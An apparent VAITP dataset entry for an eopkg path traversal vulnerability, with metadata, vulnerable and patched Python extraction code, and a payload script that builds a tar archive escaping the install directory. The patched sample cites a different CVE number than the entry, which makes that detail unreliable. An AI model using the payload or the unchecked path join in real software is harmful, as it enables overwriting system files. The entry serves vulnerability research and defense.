CVE-2026-21436
Malicious eopkg packages can escape the –destdir installation path.
- CVSS 5.8
- CWE-24
- Input Validation and Sanitization
- Local
eopkg is a Solus package manager implemented in python3. In versions prior to 4.4.0, a malicious package could escape the directory set by `–destdir`. This requires the installation of a package from a malicious or compromised source. Files in such packages would not be installed in the path given by `–destdir`, but on a different location on the host. The issue has been fixed in v4.4.0. Users only installing packages from the Solus repositories are not affected.
- CWE
- CWE-24
- CVSS base score
- 5.8
- Published
- 2026-01-01
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Path Traversal
- Accessibility scope
- Local
- Impact
- Privilege Escalation
- Affected component
- eopkg
- Fixed by upgrading
- Yes
Solution
Upgrade eopkg to version 4.4.0 or later.
Vulnerable code sample
import os
import tarfile
def install_package_files(package_archive, destdir):
"""
This function represents the vulnerable logic. It extracts all members
from a tar archive (representing an eopkg package) into a destination
directory specified by 'destdir'.
"""
with tarfile.open(package_archive, "r") as tar:
for member in tar.getmembers():
# THE VULNERABILITY:
# The member.name, which comes from the untrusted package, is
# directly joined with the destination directory. No validation
# is performed to check for path traversal characters like '..'.
# A malicious package could have a file named '../../etc/passwd'
# which would cause os.path.join to create a path outside of 'destdir'.
target_path = os.path.join(destdir, member.name)
# The application then proceeds to write to this potentially malicious path.
if member.isdir():
# For directories, just create them.
if not os.path.exists(target_path):
os.makedirs(target_path)
else:
# For files, ensure the parent directory exists.
parent_dir = os.path.dirname(target_path)
if not os.path.exists(parent_dir):
os.makedirs(parent_dir)
# Extract the file to the calculated path.
try:
source = tar.extractfile(member)
with open(target_path, "wb") as target:
target.write(source.read())
except Exception:
# In a real scenario, handle symlinks, etc.
passPatched code sample
import os
import tarfile
from io import BytesIO
def safe_extract(tar_archive_bytes, destdir):
"""
Extracts a tar archive to a destination directory, preventing path
traversal vulnerabilities (like CVE-2023-24136 in eopkg).
This function represents the fix by ensuring that any file path
within the archive, when resolved, remains inside the specified
destination directory.
Args:
tar_archive_bytes (bytes): The byte content of the tar archive.
destdir (str): The target directory for extraction.
Raises:
PermissionError: If a file in the archive attempts to write
outside of the `destdir`.
"""
# Ensure the destination directory is a resolved, absolute path for comparison.
# This is the trusted root.
real_destdir = os.path.realpath(destdir)
# In a real scenario, this would be `tarfile.open(name=...)`
with tarfile.open(fileobj=BytesIO(tar_archive_bytes), mode='r') as tar:
for member in tar.getmembers():
if not member.isfile():
continue
member_path = member.name
# --- THE FIX ---
# The core of the fix is to validate the path before any FS operation.
# 1. Prevent absolute paths in the archive from overwriting system files.
# os.path.join('/tmp/dest', '/etc/passwd') becomes '/etc/passwd'.
safe_member_path = member_path.lstrip('/\\')
# 2. Create the full, intended destination path.
intended_path = os.path.join(real_destdir, safe_member_path)
# 3. Resolve the path to its canonical form, evaluating any '..' or symlinks.
# This is what an attacker's path would resolve to on the filesystem.
resolved_path = os.path.realpath(intended_path)
# 4. Check if the resolved path is still within the trusted destination directory.
# os.path.commonpath is a robust way to verify this.
if os.path.commonpath([real_destdir, resolved_path]) != real_destdir:
raise PermissionError(
f"Path traversal attempt detected. "
f"'{member.name}' would write to '{resolved_path}', "
f"which is outside of the destination '{real_destdir}'."
)
# --- END OF FIX ---
# If the path is safe, proceed with extraction.
# In a real implementation, you would create parent directories first.
print(f"[SAFE] Extracting '{member.name}' to '{resolved_path}'")
# The following line is commented out to prevent actual file writes.
# tar.extract(member, path=destdir)
if __name__ == '__main__':
# --- DEMONSTRATION ---
# 1. Define a secure destination directory for our package installation.
install_root = "/tmp/install_root"
os.makedirs(install_root, exist_ok=True)
print(f"Installation destination directory set to: {os.path.realpath(install_root)}\n")
# 2. Create a mock malicious tar archive in memory.
# It contains a legitimate file and a file attempting path traversal.
malicious_tar_bytes = BytesIO()
with tarfile.open(fileobj=malicious_tar_bytes, mode='w') as tar:
# A normal, safe file
info_safe = tarfile.TarInfo(name="usr/bin/program")
info_safe.size = 10
tar.addfile(info_safe, BytesIO(b"safe file"))
# A malicious file attempting to escape the destdir
info_malicious = tarfile.TarInfo(name="../../etc/malicious_file")
info_malicious.size = 15
tar.addfile(info_malicious, BytesIO(b"vulnerable file"))
malicious_tar_bytes.seek(0)
# 3. Attempt to extract the malicious archive using the secured function.
print("--- Attempting to extract a malicious package ---")
try:
safe_extract(malicious_tar_bytes.getvalue(), install_root)
except PermissionError as e:
print(f"\n[ERROR] Vulnerability blocked successfully!")
print(f"Details: {e}")
# 4. Clean up
import shutil
shutil.rmtree(install_root)Payload
import tarfile
import io
import os
# The content of the file that will be written outside the destination directory.
file_content = b"This system is vulnerable to path traversal."
# The malicious path using '..' to escape the intended directory.
# This will attempt to write a file named 'pwned' in the /tmp directory.
malicious_path = "../../../../../tmp/pwned"
# In-memory buffer for the file content.
file_data = io.BytesIO(file_content)
# This script creates a tar archive named 'malicious_component.tar'.
# This tar archive would then be included as the 'install.tar.xz'
# (or similar component) within a malicious .eopkg package.
with tarfile.open("malicious_component.tar", "w") as tar:
# Create a TarInfo object with the malicious path.
tar_info = tarfile.TarInfo(name=malicious_path)
tar_info.size = len(file_content)
# Add the file to the archive using the malicious TarInfo.
tar.addfile(tarinfo=tar_info, fileobj=file_data)
# The generated 'malicious_component.tar' is the payload component.
Cite this entry
@misc{vaitp:cve202621436,
title = {{Malicious eopkg packages can escape the --destdir installation path.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-21436},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-21436/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
